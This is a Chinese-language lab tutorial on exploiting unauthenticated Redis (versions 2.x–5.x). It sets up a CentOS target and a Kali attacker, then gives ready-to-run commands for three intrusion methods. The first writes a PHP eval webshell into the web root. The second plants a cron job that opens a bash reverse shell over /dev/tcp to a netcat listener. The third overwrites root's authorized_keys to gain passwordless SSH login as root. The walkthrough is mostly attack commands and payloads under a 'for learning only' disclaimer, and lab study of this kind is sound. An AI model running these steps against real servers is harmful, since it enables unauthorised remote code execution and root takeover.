声明:此文章仅用于学习使用
漏洞简介:
redis 默认情况下,绑定在 0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 ip 访问等,会将 redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,从而可以将自己编写生成的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而使用对应私钥通过ssh服务登录目标服务器。
环境准备:centos7.6(靶机)、kali
影响版本:redis 2.x,3.x,4.x,5.x
目录
一、环境搭建
🌂首先在centos及kali中各自下载redis源码包
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
🌂解压源码包,可以不加v,隐藏显示详细信息
tar -zxvf redis-2.8.17.tar.gz
🌂进入解压后的目录,并创建makefile
1)cd redis-2.8.17/
2)make
🌂centos靶机进入src目录,复制客户端与服务端文件至环境变量目录;返回上级目录复制相关配置文件至/etc下
1)cp redis-server /usr/bin
2)cp redis-cli /usr/bin
3)cp redis.conf /etc
二、启动环境
🌂在靶机新开一个终端,启动redis
redis-server /etc/redis.conf
🌂 kali中验证可以成功连接
./redis-cli -h 靶机ip
🌂 kali使用nmap扫描验证
nmap -p 6379 --script redis-info 靶机ip
三、漏洞利用
1.方法一:写入webshell
1.1 连接redis
🌂连接redis,端口默认为6379
redis-cli -h 靶机ip -p 6379
1.1.1 相关报错
到这里跟着复现,发现报"(错误)ERR客户端发送了AUTH,但未设置密码"
正常来讲,redis2.8.17默认无密码,因此才会造成我们未授权访问。
如果做未授权访问复现,请忽略以下步骤!!!!!
此处可以使用命令设置一个简单的数字密码,并再次尝试登录,发现可以正常执行
1)config set requirepass 123456
2)auth 123456
ps:flushall # 清理缓存,执行后可重新设置密码
🌂接下来继续执行命令,成功进入redis
config get dir
1.2 获取getshell
🌂在/var目录下创建目录,并在redis输入命令
1)mkdir -p /var/www/html/ # 在非进入redis服务器的终端执行
2)config set dir /var/www/html/ # 设置webshell的存储目录
3)config set dbfilename system.php # 设置webshell的文件名
4)set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n" # 将一句话木马写入system.php文件中
5)save # 保存
🌂进入/var/www/html目录下,查看并验证是否执行成功
🌂通过蚁剑或冰蝎等工具连接,此处本机没有搭建php环境,不做演示。小伙伴可在centos自行安装phpstudy方便后续蚁剑等工具连接。
2.方法二:Linux计划任务反弹shell
🌂centos中位置为/var/spool/cron/root,通常没有root文件,因此创建
原理:利用redis数据库备份功能,在不知情网站绝对路径时,利用定时任务检测/etc/crontab内容,将反弹shell的命令使用redis备份到/etc/crontab中,获取反弹shell
1)config set dir /var/spool/cron
2)config set dbfilename root
3)set abc "\n\n\n* * * * * bash -i >& /dev/tcp/靶机ip/6666 0>&1\n\n\n" # 端口号可自行设定
4)save
🌂新开终端,监听6666端口,等待建立连接,成功获取到shell,可以执行命令
nc -lvp 6666
3.方法三:写入ssh公钥实现ssh登录
🌂在kali生成ssh公钥、私钥,密码为空
ssh-keygen -t rsa
🌂 进入/root/.ssh并将公钥写入key.txt文件
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
🌂将key.txt文件传入redis靶机
cat key.txt| redis-cli -h 靶机ip -x set pub
🌂将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存
1)./redis-cli -h 靶机ip
2)config get dir
3)config set dir /root/.ssh
4)config set dbfilename authorized_keys
5)config get dbfilename
6)save
🌂kali使用ssh免密登录centos靶机
ssh -i id_rsa root@靶机ip
至此,三种复现方法结束~